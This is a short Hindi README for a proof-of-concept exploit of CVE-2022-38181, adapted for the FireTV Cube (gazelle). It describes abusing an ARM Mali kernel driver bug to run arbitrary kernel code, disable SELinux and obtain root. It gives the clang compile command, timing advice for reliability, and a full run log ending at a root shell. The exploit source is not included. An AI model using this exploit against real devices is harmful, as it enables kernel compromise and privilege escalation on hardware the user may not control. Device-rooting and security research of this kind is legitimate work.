
CVE-2022-38181 FireTV तीसरी पीढ़ी Cube (gazelle) के लिए POC
यह सुरक्षा शोधकर्ता मैन यू मो के Pixel 6 POC का एक फोर्क है, जो CVE_2022_38181 के लिए है। उनका विस्तृत लेख यहाँ पढ़ें। FireOS के 32-बिट यूज़रस्पेस को ध्यान में रखते हुए बदलाव किए गए हैं। POC ARM Mali कर्नेल ड्राइवर में एक बग का शोषण करके मनमाना कर्नेल कोड निष्पादन प्राप्त करता है, जिसका उपयोग SELinux को अक्षम करने और रूट प्राप्त करने के लिए किया जाता है।
मैंने ndk-21 में clang के साथ संकलन करने के लिए निम्नलिखित कमांड का उपयोग किया:
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi30-clang -DSHELL mali_shrinker_mmap32.c -o gazelle_shrinker
सबसे अधिक विश्वसनीयता के लिए, शोषण को Cube के बूट होने के 30-90 सेकंड बाद चलाया जाना चाहिए।
gazelle:/ $ /data/local/tmp/gazelle_shrinker
fingerprint: Amazon/gazelle/gazelle:9/PS7613.3701N/0025401652480:user/amz-p,release-keys
failed, retry.
failed, retry.
region freed 47
alias gpu va 100c83000
read 0
cleanup flush region
release_mem_pool
jit_freed
jit_free commit: 6 0
Found freed_idx 6
Found pgd 23, 100d30000
overwrite addr : 104100558 558
overwrite addr : 104300558 558
overwrite addr : 10410082c 82c
overwrite addr : 10430082c 82c
result 50
gazelle:/ #